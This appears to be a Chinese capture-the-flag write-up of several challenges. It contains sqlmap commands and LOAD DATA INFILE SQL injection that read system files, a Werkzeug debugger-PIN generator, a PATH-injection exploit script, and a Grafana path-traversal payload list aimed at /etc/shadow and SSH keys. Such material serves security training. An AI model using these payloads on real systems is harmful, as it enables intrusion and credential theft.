oh-my-notepro

http://an:5002/

image-20220423214135151

python sqlmap.py -u http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7 --batch --cookie="session=eyJjc3JmX3Rva2VuIjoiZDdmMTA1MzY5OTg4NWUxYzQ3NDM0NGU3OWQyMDk2ZjYxNjE3YjEyYyIsInVzZXJuYW1lIjoiMSJ9.YmQBnw.ddR6hBXgEOkN00pVhdGK3uVgxEo" --fresh-queries  -D ctf --tables
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table wanan ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE  '/etc/passwd' INTO TABLE ctf.wanan;-- +
python sqlmap.py -u http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7 --batch --cookie="session=eyJjc3JmX3Rva2VuIjoiZDdmMTA1MzY5OTg4NWUxYzQ3NDM0NGU3OWQyMDk2ZjYxNjE3YjEyYyIsInVzZXJuYW1lIjoiMSJ9.YmQBnw.ddR6hBXgEOkN00pVhdGK3uVgxEo" --fresh-queries  -D ctf --dump -T wanan
+-----------------------------------------------------------------------------------+
| text |
+-----------------------------------------------------------------------------------+
| backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| ctf:x:1000:1000::/home/ctf:/bin/sh |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| root:x:0:0:root:/root:/bin/bash |
| sync:x:4:65534:sync:/bin:/bin/sync |
| sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| _apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
+-----------------------------------------------------------------------------------+
http://an:5002/view?note_id=89yzw320u2ntljsfv192txveok4rr2
/usr/local/lib/python3.8/site-packages/flask/app.py

http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table wana ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE  '/sys/class/net/eth0/address' INTO TABLE ctf.wana;-- +
python sqlmap.py -u http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7 --batch --cookie="session=eyJjc3JmX3Rva2VuIjoiZDdmMTA1MzY5OTg4NWUxYzQ3NDM0NGU3OWQyMDk2ZjYxNjE3YjEyYyIsInVzZXJuYW1lIjoiMSJ9.YmQBnw.ddR6hBXgEOkN00pVhdGK3uVgxEo" --fresh-queries  -D ctf --dump -T wana
+-------------------+
| text |
+-------------------+
| 02:42:ac:13:00:03 |
+-------------------+
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table wan ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE  '/proc/sys/kernel/random/boot_id' INTO TABLE ctf.wan;-- +
python sqlmap.py -u http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7 --batch --cookie="session=eyJjc3JmX3Rva2VuIjoiZDdmMTA1MzY5OTg4NWUxYzQ3NDM0NGU3OWQyMDk2ZjYxNjE3YjEyYyIsInVzZXJuYW1lIjoiMSJ9.YmQBnw.ddR6hBXgEOkN00pVhdGK3uVgxEo" --fresh-queries  -D ctf --dump -T wan
+--------------------------------------+
| text |
+--------------------------------------+
| 086262fd-71b2-4558-907d-ec453e8fdc85 |
+--------------------------------------+
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table qq ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE  '/proc/self/cgroup' INTO TABLE ctf.qq;-- +
python sqlmap.py -u http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7 --batch --cookie="session=eyJjc3JmX3Rva2VuIjoiZDdmMTA1MzY5OTg4NWUxYzQ3NDM0NGU3OWQyMDk2ZjYxNjE3YjEyYyIsInVzZXJuYW1lIjoiMSJ9.YmQBnw.ddR6hBXgEOkN00pVhdGK3uVgxEo" --fr
esh-queries -D ctf --dump -T qq
+---------------------------------------------------------------------------------------------+
| text |
+---------------------------------------------------------------------------------------------+
| 10:cpuacct,cpu:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 11:pids:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 1:name=systemd:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 2:hugetlb:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 3:blkio:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 4:cpuset:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 5:perf_event:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 6:net_prio,net_cls:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 7:freezer:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 8:memory:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
| 9:devices:/docker/b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818 |
+---------------------------------------------------------------------------------------------+
http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7';-- + %0a create table w ( text VARCHAR(160) ); LOAD DATA LOCAL INFILE  '/etc/machine-id' INTO TABLE ctf.w;-- +
python sqlmap.py -u http://an:5002/view?note_id=47zoj6lpuyr984tutahobu6zltm78ey7 --batch --cookie="session=eyJjc3JmX3Rva2VuIjoiZDdmMTA1MzY5OTg4NWUxYzQ3NDM0NGU3OWQyMDk2ZjYxNjE3YjEyYyIsInVzZXJuYW1lIjoiMSJ9.YmQBnw.ddR6hBXgEOkN00pVhdGK3uVgxEo" --fresh-queries  -D ctf --dump -T w
+----------------------------------+
| text |
+----------------------------------+
| 96cec10d3d9307792745ec3b85c89620 |
+----------------------------------+
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='ctf' #/etc/passwd
app = Flask(__name__)
modname= getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
username, #用户名
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:17:00:03'.replace(':','')#/sys/class/net/eth0/address
mac=str(int(mac,base=16))
private_bits = [
mac,#mac地址十进制
"96cec10d3d9307792745ec3b85c89620b7d47377cd5fe8841102097f38484ee4e70511054969839a46ecfa713b288818" #/etc/machine-id/proc/self/cgroup
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

lotto

image-20220423184410472

from flask import Flask, render_template, request
import secrets
import os

app = Flask(__name__, static_url_path='')


def safe_check(s): # 安全检查将常见的环境变量全部都过滤了
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True


# /路由返回index.html
@app.route("/", methods=['GET', 'POST'])
def index():
return render_template('index.html')


# /lotto路由
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
flag = os.environ['flag'] # 返回一个环境变量的字典值
if request.method == 'GET':
return render_template('lotto.html')

elif request.method == 'POST': # 如果请求方式是post
lotto_key = request.form.get('lotto_key') or '' # 获取表单中的值lotto_key等于get的lotto_key
lotto_value = request.form.get('lotto_value') or '' # lotto_value等于lotto_value
try:
lotto_key = lotto_key.upper() # lotto_key进行大写转换
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message) # 返回message信息

if safe_check(lotto_key): # 进行安全检查成功之后就
os.environ[lotto_key] = lotto_value # lotto_key的值为lotto_value
try:
os.system('wget --content-disposition -N lotto') # wget 命令执行 下载内网中lotto页面中的资源 就是下面的lotto_result.txt

if os.path.exists("/app/lotto_result.txt"): # 如果存在lotto_result.txt存在的话
lotto_result = open("/app/lotto_result.txt", 'rb').read() # 就将这个读取到lotto_result中去
else:
lotto_result = 'result'
if os.path.exists("/app/guess/forecast.txt"):#如果预测的forecast.txt存在
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'

if forecast == lotto_result: #如果预测的和原本的相等就结束
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
print("lotto error: ", e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)

#/forecast路由
@app.route("/forecast", methods=['GET', 'POST'])
def forecast():
message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST': #上传一个文件
if 'file' not in request.files:
message = 'Where is your forecast?'

file = request.files['file']#file = reuqest.file
file.save('/app/guess/forecast.txt')#将文件保存在forecast.txt中
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)


@app.route("/result", methods=['GET'])
def result():
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''

return render_template('result.html', message=lotto_result)


if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=8080)

内网的lotto

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40)) #获取20个四十一下的数字
lotto.append(n) #

r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

PATH变量就是用于把偶才能可搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统就可以直接运行,前提是有执行的权限如果我们控制环境变量PATH,让他找不到wget,这样

wget --content-position -N lotto

就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值了.既然lotto_result.txt是我们可以知道的,而且不变,我们上传给forecast路由的文件内容跟他相同,这样就可以保证两个文件内容相同了.

访问/lotto传入两个空值生成result

image-20220423191528539

访问/result,就可以获取结果

image-20220423185832268

第二次的时候接着传入刚才保存的文件,到lotto传入key为PATH value 为 xx

image-20220423191612474

注意传值方式

import requests
url='http://121.36.217.177:53000/'
requests.post(url+"lotto",data={"lotto_key": " ","lotto_value": " "})
r=requests.get(url+"/result").text.replace(" ", "").split("<p>")[-1].split("</p>")[0]
with open("res.txt", "w+") as f:
f.writelines(r)
requests.post(url+"forecast", files={'file':open("res.txt","rb")})
r=requests.post(url+"lotto", data={"lotto_key": "PATH","lotto_value": "/"})
print(r.text)

granfa

grafana任意文件读取

可读取的路径

/conf/defaults.ini/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

受影响的路径

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

字典目录

alertlistannolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

image-20220423170103573

image-20220423170837513

image-20220423170851745


#################################### Database ####################################
[database]
# You can configure the database connection by specifying type, host, name, user and password
# as separate properties or as on string using the url properties.

# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
;password =


#################################### Security ####################################
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana, or in profile settings
;admin_password = admin

image-20220423171357248

admin admin 登进去

image-20220423171444963

添加数据库

Alice’s warm up

AI模型文件和当前的AI模型不同,它是有着完整且清晰结构的文件,后者更多时候是一个黑漆漆的黑盒.下载下来的是一个zip文件,解压之后发现里面存在一个archive文件夹,文件夹里面有一个hint.py和若干AI模型文件.这里如果直接导入data.pkl时会发现报错,实际如果熟悉pytorch模型保存的文件结构或者直接尝试保存一个模型,就会发现其实模型本身就是zip格式的,而且结构和得到的zip一样(除了多了一个hint.py).所以这里可以直接torch.load载入zip

import torch as torch

savepath='./0bdb74e42cdf4a42923ccf40d2a66313.zip'
net = torch.load(savepath)
print(net)
'''
torch.save()用来加载保存的模型文件
torch.load()现在cpu上加载,不会依赖于八寸模型的设备.如果加载失败,可能是应为没有包含某些设备,
比如在gpu上训练模型,而在cpu上加载,可能就会报错,此时,需要使用map_loaction来存储冬天重新映射到可选设备上面,比如map_location=torch.divice('cpu')
意思是映射到cpu上面,在cpu上加载模型,无论你这个模型从哪里训练保存的
'''

image-20220427135603894

会提示不存在AliceNet1类,可以补上一个空的类,不过这个传入的nn.Module是啥(网络模型的基本类)

image-20220427141043245

首先让我们查看一下net中的参数是个什么样的情况,net.state_dict()可以用于查看神经网络的参数信息,用于更新参数,或者用于模型保存

image-20220427141727813

net的结构是一个47X10X1的全连接网络,除了第0层是方阵而其他都是一般的矩阵。通过使用pytorch的state_dict()函数,我们可以观察每层矩阵的参数情况

image-20220427141917284

这里也可以发现除了第一个矩阵是0-1矩阵,其他参数都在[-1,1]之间,第一个矩阵是比较特别的.

再看看hint.py,flagset告知了flag的内容选择范围以及flag格式,同时也告知了flag的长度。可以发现,flagset中的字母数量正好为47

import string
assert len(flag)==16
assert flagset=string.printable[0:36]+"*CTF{ALIZE}"

剩下看不懂